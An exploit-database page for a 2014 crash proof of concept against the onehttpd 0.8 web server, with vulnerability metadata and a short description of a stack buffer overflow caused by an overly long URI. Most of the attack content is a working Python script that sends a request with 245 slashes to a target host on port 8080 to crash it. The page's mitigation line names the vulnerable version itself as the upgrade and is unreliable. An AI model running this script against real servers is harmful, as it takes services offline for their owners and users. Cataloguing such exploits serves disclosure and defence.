header-logo
Suggest Exploit
vendor:
onehttpd
by:
Mahmod Mahajna (Mahy)
7,5
CVSS
HIGH
Crash
119
CWE
Product Name: onehttpd
Affected Version From: 0.8
Affected Version To: 0.8
Patch Exists: YES
Related CWE: N/A
CPE: onehttpd
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
2014

onehttpd 0.8 Crash PoC

The vulnerability exists due to a boundary error when handling requests with an overly long URI. This can be exploited to cause a stack-based buffer overflow by sending a specially crafted HTTP request with an overly long URI to the affected server.

Mitigation:

Upgrade to the latest version of onehttpd 0.8
Source

Exploit-DB raw data:

# Exploit Title: onehttpd 0.8 Crash PoC
# Date: Feb 7,2014
# Exploit Author: Mahmod Mahajna (Mahy)
# Version: 0.8
# Software Link: https://onehttpd.googlecode.com/files/onehttpd-0.8.exe
# Tested on: Windows XP SP3
# Email: m.dofo123@gmail.com
from requests import get,ConnectionError as cerror
from sys import argv
if(len(argv)!=2):
  print '%s host' % argv[0]
else:
  buff = '/'*245
  script,host=argv
  try:
    get('http://'+host+':8080/'+buff)
  except cerror:
    exit(1)

Navigation

Suggest Exploit

Services By CQR